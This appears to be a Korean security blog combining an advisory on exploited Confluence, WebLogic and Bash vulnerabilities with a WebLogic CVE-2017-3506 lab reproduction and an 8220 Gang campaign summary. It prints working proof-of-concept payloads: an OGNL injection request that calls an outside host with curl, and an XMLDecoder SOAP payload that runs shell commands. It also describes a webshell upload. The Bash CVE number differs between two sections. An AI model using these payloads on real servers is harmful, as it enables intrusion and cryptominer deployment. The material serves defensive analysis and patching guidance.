1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

 

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

 

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

 

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

 

3. 대응방안

- 최신 버전 업데이트 적용

취약점 대상 소프트웨어 조치 방안
CVE-2023-22527 Confluence Data Center 8.5.4. 이상 업데이트
Confluence Server 8.6.0 이상 업데이트
8.7.1 이상 업데이트
CVE-2017-3506 WebLogic 2017.10 Oracle Critical 패치
업데이트
CVE-2014-6271 GNU Bash Red Hat Enterprise Linux 
4,5,6,7 업데이트
Ubuntu 10.04, 12.04, 14.04 
업데이트
* GNU 기반 운영체제별 최신 
업데이트 권고

 

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506

- 공격자가 조작된 XML 페이로드를 전송하여 원격 코드 실행을 실행하는 취약점

- XMLDecoder를 이용한 역직렬화 과정에서 취약점이 발생

① 영향받는 버전
- WebLogic Server 10.3.6.0.0
- WebLogic Server 12.1.3.0.0
- WebLogic Server 12.2.1.1.0
- WebLogic Server 12.2.1.2.0

② 관련 URL

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

2. 실습

Attacker 환경
- Kali Linux

Victim 환경
- CentOS 7 x64
- WebLogic Server 10.3.6.0.0

- Java: JDK1.7.0_80

 

- WebLogic Server 10.3.6.0.0 설치 및 구동 [2][3]

> JDK8로 설치를 진행하였는데, 도메인 생성 과정 중 도메인 생성 실패 오류 발생

> 구글링 결과 JDK8과 WebLogic 10.3.6.0은 호환이 되지 않아 발생하는 문제로, JDK7을 이용함

**** Domain Creation Failed! java.lang.SecurityException: The provider self-integrity check failed. ****

 

- registry.xml 파일에서 Weblogic 버전을 확인할 수 있음

> 버전 확인 방법

① java weblogic.version 명령 이용

② config.xml 파일 상단 <domain-version> 태그 확인 / 명령어: cd ${DOMAIN_HOME}/config 

③ registry.xml 파일에서 version 확인 / 명령어: cd ${MW_HOME};cat registry.xml

④ WebLogic Admin Console 좌측 하단 확인 또는 [로그인] > [환경] > [서버] > [서버이름] > [모니터링] > [일반] 확인

[사진 2] 버전 확인

 

- 구동 후 외부에서 정상 접근 확인

[사진 3] 서버 구동(위) 및 정상 접근 확인(아래)

 

- 공개된 PoC를 통해 스캔 결과 취약점에 영향 받음_[+]표시_을 확인 [4]

[사진 4] 취약점 스캔 결과(위) 및 관련 패킷(아래)

 

- /wls-wsat/CoordinatorPortType11 URL에 shell.jsp 업로드 성공

> 비밀번호(password 매개변수_값 secfree)와 임의의 명령(command 매개변수)을 사용자로부터 입력받아 실행한 결과를 반환하는 웹쉘로 확인됨

[사진 5] shell.jsp 업로드 성공(위) 및 관련 패킷(아래)

 

- 공격자는 조건을 만족한 URL을 통해 임의의 명령을 실행 및 결과를 확인할 수 있음

> 조건 1: 비밀번호(password)는 secfree 

> 조건 2: 임의의 명령(command) 전달

[사진 6] 명령 실행 결과 반환

 

[사진 7] 관련 패킷 캡쳐

3. 8220 Gang [5]

- 2017년부터 활동한 해킹그룹으로 암호화폐 채굴을 목적으로 활동

> C2와 통신을 위해 8220 포트를 사용하여 파생된 이름

> Tsunami 멀웨어, XMRIG 크립토마이너, Masscan, Spirit 등을 공격에 이용

 

- 최근 CVE-2017-3506 또는 lwp-download를 사용하는 사례가 확인

> lwp-download: URL에서 파일을 다운로드하는 리눅스 유틸리티

 

- 8220 Gang 해킹그룹이 CVE-2017-3506를 이용하는 과정 및 파일은 다음과 같음

① wls-wsat/CoordinatorPortType URL을 이용해 취약한 서버에 진입

② PowerShell 스크립트로 드로퍼 다운로드

③ 드로퍼를 이용해 최종적으로 암호화폐 채굴기 다운로드 및 설치

> 공격에 사용된 스크립트와 바이너리 파일은 Base64 인코딩과 난독화가 적용

> 피해자가 인지하지 못하도록 숨겨진 창으로 명령 실행

> AMSI 감지 비활성화 수행

※ AMSI(Antimalware Scan Interface): 응용 프로그램 및 서비스와 시스템에 있는 모든 맬웨어 방지 제품이 통합할 수 있도록 하는 다목적 인터페이스 표준

 

> 공격에 사용된 파일

파일명 설명
bypass.ps1 - CVE-2017-3506을 이용해 다운로드
- Base64로 인코딩 된 PowerShell 스크립트
> AMSI 비활성화 및 Winscp-setup-1867.exe 생성
Winscp-setup-1867.exe - %TEMP%Winscp-setup-1867.exe 경로로 생성
- Ebvjmba.dat 다운로드
Ebvjmba.dat - dll 파일 다운
dll 파일 - MS 빌드 프로세스에 주입되는 암호화된 리소스 파일
- 9090, 9091, 9092/TCP를 사용해 C2 서버와 통신 및 암호화폐 채굴기 다운

 

4. 대응방안

① 벤더사 제공 패치 및 업데이트 적용 [6]

 

② wls-wsat 미사용 시 삭제

> rm -rf /app/wls1036/wlserver_10.3/server/lib/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/.internal/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/.internal/wls-wsat.war

 

③ wls-wsat 컴포넌트 비활성화 옵션 추가
> $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정 [7]

 

④ WAF에서 wls-wsat 하위 URL(/wls-wsat/*) 차단

> /wls-wsat/CoordinatorPortType
> /wls-wsat/CoordinatorPortType11
> /wls-wsat/ParticipantPortType
> /wls-wsat/ParticipantPortType11
> /wls-wsat/RegistrationPortTypeRPC
> /wls-wsat/RegistrationPortTypeRPC11
> /wls-wsat/RegistrationRequesterPortType
> /wls-wsat/RegistrationRequesterPortType11

 

⑤ 침해지표 모니터링 [5]

 

참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[2] http://1004lucifer.blogspot.com/2018/08/weblogic-linux-103-1211.html
[3] http://1004lucifer.blogspot.com/2018/08/weblogiclinux-103-1211.html
[4] https://github.com/Al1ex/CVE-2017-3506
[5] https://www.trendmicro.com/en_us/research/23/e/8220-gang-evolution-new-strategies-adapted.html
[6] https://www.oracle.com/security-alerts/cpuapr2017.html
[7] http://1004lucifer.blogspot.com/2018/12/weblogic-cve-2017-10271.html

+ Recent posts